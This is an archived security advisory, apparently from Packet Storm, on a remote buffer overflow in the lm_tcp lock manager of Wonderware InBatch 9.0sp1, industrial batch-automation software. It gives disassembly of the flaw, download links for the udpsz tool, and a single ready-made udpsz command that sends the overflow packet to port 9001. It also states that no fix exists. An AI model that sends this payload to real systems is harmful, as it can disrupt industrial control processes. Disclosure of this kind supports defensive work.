exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Wonderware InBatch 9.0sp1 Buffer Overflow

Wonderware InBatch 9.0sp1 Buffer Overflow
Posted Dec 8, 2010
Authored by Luigi Auriemma | Site aluigi.org

Wonderware InBatch versions 9.0sp1 and below suffer from a buffer overflow vulnerability. Use the related file to exploit it.

tags | advisory, overflow
SHA-256 | 2b75b40f8b5d10b1aad656254bc228553139874595ce2d6695d6663ecfb75d50

Wonderware InBatch 9.0sp1 Buffer Overflow

Change Mirror Download
#######################################################################

Luigi Auriemma

Application: Wonderware InBatch
http://global.wonderware.com/EN/Pages/WonderwareInBatchSoftware.aspx
any other software that uses the lm_tcp server (called
"Raima Database lockmgr") like Foxboro I/A Batch
Versions: lm_tcp <= 9.0.0 0248.18.0.0 (InBatch <= 9.0sp1)
Platforms: Windows, Linux
Bug: buffer-overflow
Exploitation: remote, versus server
Date: 07 Dec 2010
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


InBatch is a software for the industry automation sector for creating
batch processes.


#######################################################################

======
2) Bug
======


The lm_tcp service listens (manually or automatically during the
launching of "Environment Display/Manager") on port 9001 and is
vulnerable to a buffer overflow during the copying of a string in a
buffer of 150 bytes which is part of a fixed structure.

The overflow (max 19204 chars) allows only to overwrite the two memory
pointers located after the space assigned to the copying of the string
and they are immediately used for two memset(buffer, 0, 2) operations
with the consequent effect of writing a 16bit 0x0000 in an arbitrary
memory location:

00403E40 |> 8A01 /MOV AL,BYTE PTR DS:[ECX] ; strcpy
00403E42 |. 8802 |MOV BYTE PTR DS:[EDX],AL
00403E44 |. 83C1 01 |ADD ECX,1
00403E47 |. 83C2 01 |ADD EDX,1
00403E4A |. 84C0 |TEST AL,AL
00403E4C |.^75 F2 \JNZ SHORT lm_tcp.00403E40
00403E4E |. 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24]
00403E52 |. 66:8B48 12 MOV CX,WORD PTR DS:[EAX+12]
00403E56 |. 8B15 48A84000 MOV EDX,DWORD PTR DS:[40A848]
00403E5C |. 66:83E9 78 SUB CX,78
00403E60 |. 66:F7D9 NEG CX
00403E63 |. 1BC9 SBB ECX,ECX
00403E65 |. 83E1 0E AND ECX,0E
00403E68 |. 83C1 58 ADD ECX,58
00403E6B |. 898C16 98000000 MOV DWORD PTR DS:[ESI+EDX+98],ECX
00403E72 |. A1 78A84000 MOV EAX,DWORD PTR DS:[40A878]
00403E77 |. 8B0D 48A84000 MOV ECX,DWORD PTR DS:[40A848]
00403E7D |. 8B940E 9C000000 MOV EDX,DWORD PTR DS:[ESI+ECX+9C] ; first pointer overwritten
00403E84 |. 50 PUSH EAX
00403E85 |. 52 PUSH EDX
00403E86 |. E8 050C0000 CALL lm_tcp.00404A90 ; memset
00403E8B |. A1 78A84000 MOV EAX,DWORD PTR DS:[40A878]
00403E90 |. 8B0D 48A84000 MOV ECX,DWORD PTR DS:[40A848]
00403E96 |. 8B940E A0000000 MOV EDX,DWORD PTR DS:[ESI+ECX+A0] ; second pointer overwritten
00403E9D |. 50 PUSH EAX
00403E9E |. 52 PUSH EDX
00403E9F |. E8 EC0B0000 CALL lm_tcp.00404A90 ; memset


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://www.exploit-db.com/sploits/udpsz.zip

udpsz -C "00004b14 00000000 00000001 00000000 0001 0000" -b 0x61 -T SERVER 9001 0x4b18


#######################################################################

======
4) Fix
======


No fix.


#######################################################################

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close